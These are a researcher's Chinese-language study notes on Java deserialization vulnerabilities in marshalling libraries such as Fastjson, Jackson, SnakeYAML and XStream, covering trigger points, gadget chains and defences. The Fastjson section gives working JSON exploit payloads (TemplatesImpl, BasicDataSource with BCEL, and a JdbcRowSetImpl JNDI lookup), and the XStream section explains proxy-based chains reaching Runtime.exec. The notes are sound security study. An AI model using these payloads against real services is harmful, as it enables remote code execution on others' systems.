最近工作又遇到爪哇了,碰到两个不熟悉的序列化组件,白猪大哥说marshalsec里有写,边学边弄搞定了周末决定好好补习一下。
慢慢记,这里面很多还没见到过就留个坑以后遇到再补充...
查表
组件 | 反序列化接口 |
---|---|
Fastjson | [JSON].parseObject |
Jackson | [mapper].readValue |
YamlBeans | [reader].read() |
SnakeYaml | [yaml].load /[yaml].loadAll |
JYaml | Yaml.loadType |
ApacheFlexBlazeDS | deserializer.readMessage |
Red5IOAMF | in.readObject /... |
Castor | [unmarshaller].unmarshal |
JavaXMLDecoder | [d].readObject |
Java Builtin | readObject /readExternal |
Json-io | [JsonReader].jsonToJava |
Hessian | readObject |
Kryo | [kryo].readClassAndObject /readObjectOrNull /readObject |
Xstream | [xstream].fromXML |
Bean Property Based Marshallers
基于Bean属性的编组器基本就是通过访问器触发...
Fastjson
反序列化触发点
这是阿里开源的库,据说速度炒鸡快,一般使用如下方法进行状态转换:
public abstract class JSON implements JSONStreamAware, JSONAware {
public static <T> T parseObject(String text, Class<T> clazz); // 当指定Class时,转换为对应的对象
public static JSONObject parseObject(String text); // 未指定Class时转换为JSONObject对象
public static Object parse(String text); // 转换为实际对象,这里
public static String toJSONString(Object object, SerializerFeature... features); // 将对象转换为json字符串
... // 还有很多方法与很多重载
}
其实一般对某对象序列化后,它就是个Json格式的字符串,不含任何类信息,因此除非在反序列化时指定类型,否则返回的就是JSONObject(还有作为对象的属性可进行一定程度的推测),要解析为具体类的对象还有种方法,就是使用@type
字段,它相当于特殊指令指示当前JSONObject实际上指向什么类,因此我们可以通过该字段反序列化任意对象,关键是怎么触发漏洞!
Fastjson在反序列化对象时可分为两种情况,原始或通用类型与自定义类型的反序列化,前者它实现了反序列化器(见com.alibaba.fastjson.parser.deserializer
),而后者它使用ASM动态生成反序列化器并缓存,这是由createJavaBeanDeserializer
实现的,这里有个关键词Bean,Fastjson在反序列化为生成的对象实例赋值时不是直接使用反射,而是优先使用setter
,不存在时再考虑使用反射,但是显然此时仍然有些特殊类型不应该直接反射赋值,而应该先使用getter
获取对象再修改该对象,这类包括Collection
/Map
/Atomic
等类型,而序列化时也是优先使用getter
,不存在时才直接取值,这里反序列化的setter
与getter
就相当于原生反序列化的readObject
,但在继续前先转换下利用面,反序列化时只有特殊类型的属性在不存在setter
时会调用getter
,而序列化时所有的getter
都会调用,因此思路是触发序列化逻辑,首先看parseObject
:
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject)obj;
} else {
try {
return (JSONObject)toJSON(obj); // 序列化啦
} catch (RuntimeException var3) {
throw new JSONException("can not cast to JSONObject.", var3);
}
}
}
可见如果是parseObject(String text)
可以直接触发序列化逻辑,而不是呢,大佬们发现当键是Json时会将再其转换为字符串(key.toString=>key.toJSONString
),现在能实现所有getter与setter调用了,再对比原生序列化不会序列化属性的域,而fastjson在使用反射时默认不会为私有属性赋值,需要指定Feature.SupportNonPublicField
特性...
利用链
fastjson的入口不再是找readObject
了,而是parse
/parseObject
,而利用链上fastjson也更直接,就是找setter
或getter
,似乎现在setter
的还没找到,getter
的倒有一些,如TemplatesImpl
:
public final class TemplatesImpl implements Templates, Serializable {
public synchronized Properties getOutputProperties() {
try {
return this.newTransformer().getOutputProperties(); // this.newTransformer()触发自定义恶意类初始化
...
可惜这里面很多属性都是private的且无setter
,因此基本无法利用,不过有个类似的BasicDataSource
,它是tomcat数据库连接池里的,有个getConnection
方法,尽管并不是connection的getter
但是它符合getter
的特征(公共&无参&实例方法&有返回...)因此也被调用,它里面用BCEL去加载用户自定义类,且用了forName(默认初始化)!除此之外,也是fastjson最常见的利用方式是配合jndi注入,如com.sun.rowset.JdbcRowSetImpl
里autoCommit
的setter
可触发lookup且其参数可控。
// TemplatesImpl
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="], // private
'_name':'a.b',
'_tfactory':{ },
"_outputProperties":{ }
}
// BasicDataSource
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader" :
{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}
// JdbcRowSetImpl
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1097/Object",
"autoCommit":true
}
防御
修补就是围绕着@type
展开的,要么不让用它,要么白加黑名单,详见[0],挖掘时直接看fastjson版本,去maven厂库里看看[1]有没有已知漏洞...
参考
[0] 浅谈fastjson反序列化漏洞 -- wh1t3p1g
[1] maven Fastjson1 Compatible
Jackson
Jackson能实现Java对象与多种数据形式(YAML/JSON/XML等)间的转换,在反序列化时它默认是不会解析任意类的,为了处理多态它可以全局使用enableDefaultTyping()
方法激活,或者要处理的类使用了@JsonTypeInfo(use=CLASS/MINIMAL_CLASS)
注解[0]。和Fastjson类似,它也使用黑名单来过滤已知的危险类[3],因此如果版本太新可能得自己找gadget。
在审计时,它通常有三部分jackson-core
(核心)/jackson-annotations
(注解)/jackson-databind
(数据绑定),通常都是用的最后的,它依赖前两者,看版本号时需要注意。
参考
[0] Jackson 反序列化汇总 -- l1nk3r (2019)
[1] Jackson-Databind - A Story of Blacklisting Java Deserialization Gadgets -- Gal_Goldshtein (2018)
[2] Jackson Deserialization Vulnerabilities -- Robert C. Seacord (2018)
[3] On Jackson CVEs: Don’t Panic — Here is what you need to know -- cowtowncoder (2017)
YamlBeans
它需要一个默认构造器(不必public
),它也会尝试调setter
但是通过对象的属性去找对应的setter
所以一些假的没法调了,说的就是你JdbcRowset
!
防御
可以指定root class但是这不会被使用(检查),而它有些选项可限制不能使用非public构造器等。
参考
SnakeYAML
它直接调用public
的构造器,利用很直观!
防御
// 指定root class,但是里面嵌套的属性不会有类型检查
Yaml yaml = new Yaml(new Constructor(Invoice.class));
// 指定安全构造器不允许反序列化自定义类
Yaml yaml = new Yaml(new SafeConstructor());
jYAML
这个项目已经废弃了,它需要public
默认构造器,反序列化时会触发访问器。
防御
可指定root class但是不会被检查,没官方的防御机制。
Apache Flex BlazeDS
反序列化目标需要有public
默认构造器和public
的访问器...
防御
没法指定root class也不检查嵌套属性类型,但是支持白名单机制DeserializationValidator
,且从4.7.3后默认白名单。
参考
[0] AMF – Another Malicious Format
Red5 IO AMF
类似AFBDS...
Castor
XML编解组工具,目标需要一个public
默认构造器,反序列化时先恢复原始类型再恢复Object类型,依然是会触发访问器,而且可触发一些额外的访问器addXYZ/creatXYZ
...
防御
可指定root class但是不会被检查,没官方的防御机制。
参考
[0] Castor XML frameworkIntroduction
Java XMLDecoder
可以调用任意方法,所以永远不要使用,遇到就是赚到!
Field Based Marshallers
基于域的编组器不必调用访问器,但是有时状态无法简单的反序列化,此时就需要调用一些特殊的方法从而触发漏洞...
Java Builtin Serialization
Java内建的反序列化,详见之前的文章。
Json-io
它可进行json<->object间转换,被转换的类不必实现Serializable
/ Externalizable
,不必有public
构造器,可恢复private
域,不保存但可恢复transient
,它使用默认构造器,不存在则依次尝试其他构造器(使用空类型参数)直到构造成功,集合的恢复次序不确定需要仔细构造。
参考
[0] github json-io
Hessian/Burlap
它是跨语言的RPC协议,由caucho开发,基于HTTP协议传输数据(解析POST BODY),协议规范分为两部分:RPC规范与序列化规范[1,2],它们有两个版本格式并不一样需要注意,推荐先看这篇[0] Hessian2.0的规范。
参考
[0] Hessian 2.0 序列化协议(中文版) -- D瓜哥 (2022)
[1] hessian 1.0.2 specification
[2] Hessian 2.0 Web Services Protocol
kryo
它是序列化工具,使用的是自定义的二进制规范,它默认情况下只能反序列化有无参构造器的类,但在修改实例化策略后,可反序列化更多类,如使用它自带的StdInstantiatorStrategy
策略后,就不再有这个限制 [1]。触发流程也是看赋值过程中触发到一些函数(如hashCode
)[0],在要反序列化任意类时,需要看它的代码里是否使用了readClassAndObject
或指定类的域(及子域)里有非具体类[2],若存在方可被反序列化。
参考
[0] 从Kryo反序列化到Marshalsec框架到CVE挖掘 -- Jayway (2020)
[1] https://github.com/EsotericSoftware/kryo
[2] Serialization Must Die--Security issues and problems with serialization of random objects -- Arshan Dabirsiaghi (2016)
XStream
反序列化触发点
XStream是常见的XML与Object互转库,一般使用如下方法进行转换:
public class XStream {
public String toXML(Object obj); // 序列化为XML字符串
public Object fromXML(String xml); // 反序列化为对象
// ... 同FastJson,会有很多重载...
}
不像FastJson序列化后的数据本身不带类名,XML这种格式本身就能携带更多数据,于是这里理所应当的带了类名,XStream的内部实现见"XStream 源码解析",这里直接贴作者的图,如下,简单的说一个反序列化过程会先从Mapper根据XML里的类名找到对应的类,再由ConverterLookup去找到能对该类进行反序列化的转换类,由转换类实现对应类对象的反序列化,这里它使用反射的方式为属性赋值:
它没有像原生序列化那种自动执行readObject
的机制,也没有Fastjson自动调用getter
/setter
机制,但是在反序列化特殊结构时还是会触发一些行为,这里面包括TreeSet
/TreeMap
/PriorityQueue
的比较键值(compareTo
),HashSet
/HashMap
的比较键值(equals
/及后续转换...),因此在这里可以继续利用,而且它不像原生序列化需要实现Serialization
接口或fastjson需要非私有属性...
利用方式
利用动态代理,这里有两个Handler
,一个是JDK自带的EventHandler
,如下可以扔个对象进去,并且指定方法名,在invoke时会将参数给指定的方法并调用:
public class EventHandler implements InvocationHandler {
private Object target; // 调用方法的对象,如Runtime对象
private String action; // 要调用的方法名,如Runtime的exec
private final String eventPropertyName;
private final String listenerMethodName;
public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
return invokeInternal(proxy, method, arguments);
}
private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
String methodName = method.getName();
if (method.getDeclaringClass() == Object.class) {
... // hashCode equals toString => RETURN
}
if (eventPropertyName == null) { // 这里是无参的情形
Class[] argTypes = new Object[]{};
Object[] newArgs = new Class<?>[]{};
}
else {
Object input = applyGetters(arguments[0], getEventPropertyName()); // TODO:这里还没分析...
Class[] argTypes = new Object[]{input};
Object[] newArgs = new Class<?>[]{input == null ? null : input.getClass()};
}
try {
int lastDot = action.lastIndexOf('.');
if (lastDot != -1) {
target = applyGetters(target, action.substring(0, lastDot));
action = action.substring(lastDot + 1);
}
Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes); // 根据方法名和参数类型获取方法
return MethodUtil.invoke(targetMethod, target, newArgs); // 调用方法
}
}
}
另一个是Groovy里的,Groovy是基于JVM的一种动态语言,它有个很好的特性闭包,这里就是利用MethodClosure
和ConvertedClosure
两个闭包,前者把对象和方法封装在一起作为一个对象,后者继承InvocationHandler
并使用其他闭包作为delegate
,因此它们能组合在一起:
// 方法闭包可以把一个对象实例和方法组合,通过doCall调用
public class MethodClosure extends Closure {
private Object owner; // 要执行方法的对象,如Runtime对象,ProcessBuilder对象,JdbcRowSetImpl对象
private String method; // 最终要执行的方法名,和上面对应的是exec(String), start(), getDatabaseMetaData()方法
...
public MethodClosure(Object owner, String method);
protected Object doCall(Object arguments) { // 注意这里method的参数类型需要与下面invoke劫持的方法的参数一致,如劫持hashCode()由于没有参数只能使用start()/getDatabaseMetaData()等没有参数的方式
return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
}
}
// 转换闭包
public class ConvertedClosure extends ConversionHandler implements Serializable {
private String methodName; // 动态代理里希望劫持的方法,如annotationInvocationHandler里的entrySet,HashMap里的compareTo
public ConvertedClosure(Closure closure, String method);
public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {
return this.methodName != null && !this.methodName.equals(method.getName()) ? null : ((Closure)this.getDelegate()).call(args); // 调用的方法名和methodName一致,则派遣给delegate的call
}
}
// ConversionHandler继承InvocationHandler,它的invoke
public abstract class ConversionHandler implements InvocationHandler, Serializable {
private Object delegate;
public ConversionHandler(Object delegate);
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
...
if (!this.checkMethod(method)) { // 这里的方法不能是Object的方法,如hashCode equals toString
return this.invokeCustom(proxy, method, args); // 调用到子类的invokeCustom
}}
}
在这里同样是利用compareTo
方法,当TreeSet
的第一个是ConvertedClosure
代理的对象时,它执行compareTo
将会触发这里的链...
注:这两个利用链放在这里不是指仅XStream可用,只是刚好遇到了,显然它和CC链差不多,只要其它方式还原出它(如在原生序列化时都是可序列化的)且能触发到动态代理的invoke即可!
防御
防御就是限制能反序列化的类,1.4.7之前完全没保护,1.4.7开始加入黑白名单,且默认是黑名单,此时已经不能用EventHandler了,但还可以找漏过的类去利用,在1.4.18开始默认为白名单了[2],挖掘时可根据版本到官方安全页[0]去查看配置是否安全。
参考
[0] Xstream Security Aspects -- xstream
[1] 回顾XStream反序列化漏洞 -- wh1t3p1g
[2] Xstream Change History -- stream